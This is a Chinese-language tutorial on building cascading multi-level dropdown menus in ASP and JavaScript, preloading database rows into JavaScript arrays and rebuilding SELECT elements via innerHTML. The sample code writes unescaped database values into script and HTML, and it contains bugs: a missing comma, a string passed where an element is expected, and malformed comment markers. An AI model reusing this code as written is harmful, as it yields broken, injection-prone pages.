笔者日前涉及一个大型ASP项目的开发,其中多次遇到多维下拉菜单(对于WEB项目而言,这里专指网页中的<SELECT>元素)的问题,菜单中的数据均需要从数据库中取出,并动态的生成和变化。笔者以前曾发表过如何利用PHP和JavaScript制作二维下拉菜单的文章,目前这类文章在网络上也颇为多见,思路也有很多创新,但对于本文中谈到的多维下拉菜单,很少有人谈及。笔者无意班门弄斧,只是想把开发中的一点经验和技巧总结出来,希望能给广大的读者一点启示。
多维下拉菜单,顾名思义,也就是根据一个下拉菜单的选择,来控制其它一个或多个下拉菜单中显示的数据。举个例子来说明,在一个WEB管理系统中,用户要求通过选择单位名称,进而选择部门名称,最后选择员工。也就是说,需要提供三个下拉列表,每个下拉列表之间需要建立关联。通过第一个能选择第二个,并同时选择第三个,第四个等等。那么每一个下拉列表的显示数据之间如何建立关联,关联起来的数据又如何通过事件驱动,这正是本文所要讨论的主要内容。
熟悉VB、Delphi等RAD开发工具的朋友可能会感到疑惑。的确,在这些所谓的RAD开发工具中,我们可以利用Combo Boxes控件很容易的实现下拉菜单,进而实现他们之间的关联。但是由于WEB项目中的下拉菜单是利用HTML中的<SELECT>元素来实现的,而由于HTML的局限性,无论是对象的属性还是事件模型,都远没有RAD工具那么强大。所以,开发WEB项目,这种问题只能有一个解决途径,那就是利用JavaScript(也可能有人说可以利用java来实现,那我也只好说,您是高手)。
关于JavaScript的使用,不是本文的重点,所以不了解或不熟悉JavaScript的读者请先参考JavaScript的相关资料以获取相关信息。
好,言归正传,下面我们就一起来探讨多维下拉菜单的设计问题。为了讨论的方便,我们就以上文提到的三维下拉菜单为例,向大家一步一步的讲述设计的思路。
一、分析菜单的运作流程
首先,用户会选择单位列表,并从中选出一个单位名称,我们假定为单位A。这时,另外两个下拉列表应该做些什么?对,我们希望第二个下拉菜单能立即反映第一个下拉菜单的选择,显示并仅显示单位A中的所有部门,我们再假定菜单中第一项为部门A(默认的显示项)。那么可能有读者会问,第三个下拉菜单不是应该同时选择与部门A对应的员工数据吗?这是个很好的想法,是的,我们也应该立即改变第三个下拉菜单中的数据为部门A中的员工列表。同样,当用户选择部门时,又会改变员工列表。依次类推。
以上是一种思路,可能有一些特殊的情况,例如,在改变部门列表时,并不希望立即就选择一个部门,而是显示一个"请选择"字样的提示条目。
思路已经有了,下面就是如何实现的问题了。
二、菜单数据的容器
根据常规想法,当用户从第一个下拉菜单中选择单位名称,我们可以从数据库中选出与之相关的部门数据,并显示出来,这似乎也不无可行。但有经验的开发者就会发现,由于Web页面的无状态性,当你再次连接数据库时,Web页面必须得再次刷新。这是一个头疼的问题,一方面我们想连接数据库,可另一方面我们必须得保持用户已输入数据不被破坏。即使如此,估计用户也并不希望看到一个每次选择都刷新一次的局面。难道就没有更好的办法?
有,那就是利用JavaScript的多维数组。我们为什么不可以把需要显示的数据在第一次连接数据库时全取出来,放到数组中去?这样在每次改变菜单数据时,只要从数组中取得数据,不就可以大大的提高效率了吗?这是个令人振奋的方法,这个方法中提到的JavaScript数组,我们暂且称之为菜单数据的容器。
您的思路是不是一下子豁然开朗?可是跃跃欲试一番以后,是不是感到事情好像并不是那么简单?问题又来了,容器的结构该如何设计,数据之间的关联又如何实现呢?别急,其实这正是问题之所在。
三、数据容器结构的设计
说起容器结构的设计,我们得感谢数据结构中的链表给我们的启示--链表是通过指针联系在一起的。虽然JavaScript中没有指针的概念,但我们为什么不可以模拟一下。
为了讨论方便,我们假定数据库的结构如下:
1、 单位信息表:(unit_id, unit_name, ...)
2、 部门信息表:(dept_id, unit_id, dept_name, ...)
3、 员工信息表:(emp_id, dept_id, emp_name, ...)
利用这个数据库结构,我们可以很容易的推导出数组的结构。您说的没错,这应该是一个多维数组。其定义方法应该象下面这样(以部门为例):
var arrDept = new Array();
arrDept[0] = new Array(unit_id0, dept_id0 dept_name0);
arrDept[1] = new Array(unit_id1, dept_id1, dept_name1);
...
arrDept[n] = new Array(unit_idn, dept_idn, dept_namen);
n的大小视实际数据量而定,例如在单位下拉菜单中,n代表单位的总数。但读者必须明白,正是由于n的不确定性,以上的代码必须通过程序动态的产生。例如对于ASP程序,我们可以在<script></script>之间嵌入这样的一段代码:
<%
Dim rs, i
'[连接数据库,取出数据]
response.write "var arrDept = new Array();" & vbNewLine
i = 0
while not rs.EOF
response.write "arrDept[" & i & "] = new Array('" & rs(unit_id) & "', '" & _
rs(dept_id) & "', '" & rs(dept_name) & "');" & vbNewLine
rs.MoveNext
i = i +1
wend
...
%>
以上这段代码用来从部门表中取出数据,并产生相关的JavaScript多维数组。这只是笔者的一种演示,读者完全可以使用更灵活的方法来提取数据。
说来说去,我们还是要回到JavaScript数组的结构定义上来。聪明的读者应该已经从上述的代码中发现了数组的定义方法,但笔者还是要不厌其烦的再补充一遍:
我们把数组的第一个元素定义为指针,用来指向其"父结点"。等等,什么是父结点?父结点说明白了就是上一级结点,例如,部门的上一级是单位,员工的上一级是部门。那么第二个元素是什么?让我们来看一下下面的一段<SELECT>定义:
<SELECT NAME="s1" onChange=" SetSubMenu(this)">
<OPTION Value="1">单位1</OPTION>
<OPTION Value="2">单位2</OPTION>
....
</SELECT>
<OPTION>元素的Value属性从哪里来呢?对,就是第二个元素,依此类推,第三个元素指的就是显示在菜单中的数据喽,即上面的"单位1"、"单位2"...
读者到这里可能有些糊涂了,说这么多,这个数组到底是什么样?别急,让我们以部门为例,给出一段根据部门库中的数据动态生成的数组模拟代码:
<SCRIPT LANGUAGE="JAVASCRIPT">
<!-
...
var arrDept = new Array();
arrDept[0] = new Array('u01', 'd01', '部门1');
arrDept[1] = new Array('u01', 'd02', '部门2');
...
arrDept[8] = new Array('u06', 'd08', '部门8');
...
arrDept[15] = new Array('u08', 'd15', '部门15');
...
->
</SCRIPT>
数组终于真相大白。以"u"开头数据的代表单位的编号,即,指向单位的指针,也就是说,我们可以通过这个编号来确定该单位所属的部门;以"d"开头的数据代表部门的编号,用来供下一级选单(即员工选单)的指针使用。(注:实际使用中,数据格式根据情况而定)
有一个问题,象单位这样没有父结点的数组该如何定义?很简单,把数组的第一个元素全部置为0就行了。
下一步,是到我们编写JavaScript代码来控制菜单的显示的时候了。我们就假定您生成的三个数组分别命名为arrUnit,arrDept,arrEmp。
四、编写JavaScript代码,控制菜单的显示
其实有经验的程序员,读到这里应该知道如何进行下去。但您不妨读下去,也许,笔者的方法对您未必不是一种新的尝试。而且,据我猜测,读我这篇文章的大多数都是没有经验的程序员,呵呵,帮人帮到底吧。Come On, Let's Go.
让菜单显示出来,其实有好几种思路。利用ASP等程序直接生成<SELECT>结构、利用OPTION对象的ADD和Remove方法动态添加和改变等等,都是可以使用的方法。但,经过笔者的多次实践和摸索,有一种方法更为有效,那就是利用Script代码动态的改写整个<SELECT>框架。
好,就让我们从加载页面(document)开始,一步一步的讲解JavaScript代码到底是如何控制菜单的显示的。
既然有三个菜单,那么我们就得事先设计出这样的HTML代码(其实要不要无所谓,放在那里只是为了便于理解):
<BODY BGCOLOR="#FFFFFF" ONLOAD="body_onload()">
...
<TD>
<SELECT NAME="s0" ONCHANGE="SetSubmenu(this)"></SELECT>
</TD>
<TD>
<SELECT NAME="s1" ONCHANGE="SetSubmenu(this)"></SELECT>
</TD>
<TD>
<SELECT NAME="s2" ONCHANGE="SetSubmenu(this)"></SELECT>
</TD>
</BODY>
您有可能要问,这里怎么什么数据都没有?不要奇怪,等一下您自然就会明白。我们来看一下<BODY>对象的ONLOAD事件body_onload()做了些什么工作?
function body_onload(){
var TD = GetParent(document.all("s0"), "TD");
TD.innerHTML = MakeMenu(arrUnit, 0, 0, "s0", 1);
TD = GetParent(document.all("s1"), "TD");
TD.innerHTML = MakeMenu(arrDept, GetSelectValue(document.all("s0")), 0, "s1", 1);
TD = GetParent(document.all("s2"), "TD");
TD.innerHTML = MakeMenu(arrEmp, GetSelectValue(document.all("s1")), 0, "s2", 1);
}
让我们来研究一下。首先程序利用GetParent()函数取得s0的容器TD对象句柄,然后,利用MakMenu()函数产生菜单代码,并把代码赋值给刚才取得的TD对象;然后是s1,接着是s2.。GetParent()函数定义如下:
function GetParent(src, tag){
if (src && src.tagName!=tag){
return(GetParent(src.parentElement, tag));
}
return src;
}
这里的tag参数必须大写,例如TD、TR、TABLE,函数返回的是离src指定的元素最近的由tag标签定义的父对象。
我们要特别说明一下MakeMenu()函数,这个函数的作用不言而喻--产生菜单的HTML定义,先看看函数定义:
function MakeMenu(arrSub, pValue, cValue, name, bulSkip){
var sHTML = "<select name='" + name + "' onchange='SetSubMenu(this)' >";
if (bulSkip) sHTML += "<option value=0><未选择></option>";
for (var i=0; i < arrSub.length; i++){
if (arrSub[i][0]==pValue){
var tag = (arrSub[i][1]==cValue)?" selected>":">";
sHTML += "<option value='" + arrSub[i][1] + "'" + tag + arrSub[i][2] + "</option>";
}
}
sHTML += "</select>";
return sHTML;
}
来看一下参数的含义。arrSub,指的是菜单数据的来源,其实就是我们上文定义的数组;pValue,指定父结点的编号,根据这个编号,我们可以找出所有的子结点数据;cValue,指定菜单的默认显示项;name,指定产生的<SELECT>菜单的名称;bulSkip,指定菜单的默认显示项是"<未选择>"还是具体数据。
GetSelectValue()函数的目的,就是取得<SELECT>对象当前显示的值。如果没有显示任何值,函数返回0。
function GetSelectValue(oSelect){
if (oSelect.selectedIndex < 0) return 0;
return oSelect.options(oSelect.selectedIndex).value;
}
那么,当用户加载页面之后,首先运行的就是body_onload()函数,该函数根据已经产生的JavaScript多维数组,利用MakeMenu()函数动态的生成菜单的HTML代码,并根据DHTML的原理加载到页面中。OK,运行一下页面,看看菜单是否正常显示?如果有什么问题,抓紧时间好好调试一下,例如数据库的连接是否正常,javascript代码的大小写是否正确,数组的定义是否有什么问题...
下一步,选择菜单...等一下,好像还有什么遗漏,对了,我们还必须为<SELECT>对象的onchange事件添加程序代码:
function SetSubMenu(pSelect){
var oOption, sValue;
if (pSelect.selectedIndex < 0) return;
switch (pSelect.name){
case "s0":
var TD = GetParent(document.all("s1"), "TD");
TD.innerHTML = MakeMenu(arrDept, GetSelectValue("s0"), "0", "s1", 0);
TD = GetParent(document.all("s2"), "TD");
TD.innerHTML = MakeMenu(arrEmp, GetSelectValue("s1"), "0", "s2", 0);
break;
case "s1":
var TD = GetParent(document.all("s2"), "TD");
TD.innerHTML = MakeMenu(arrEmp, GetSelectValue("s1"), "0", "s2", 0);
break;
default:
}
}
好了,我们再检查一下,还有没有什么遗漏。从第一个下拉菜单中选择单位,立即,第二个下拉菜单和第三个下拉菜单都发生了变化,看看是不是想要的。(不是?呵呵,回头好好检查);再在第二个下拉菜单中选择部门,看看员工的下拉菜单是否跟着改变?
恭喜你,你已经成功的实现了三维下拉菜单。其实,对于二维菜单,实现的方法完全一致。读者完全可以利用本文的方法实现WEB项目菜单的全攻略。以后再遇到类似的问题,我想这回你一定可以毫不犹豫的说,让我来搞定它。
文章到此,也应该结束,但我还想补充两句。本文所提供的只是一种解题思路,或者说是一种方法。我不喜欢硬搬照抄的做法,相反,我希望读者能够举一反三,衍生出更多的新思路、新功能,那将是我愿意看到的。
回首页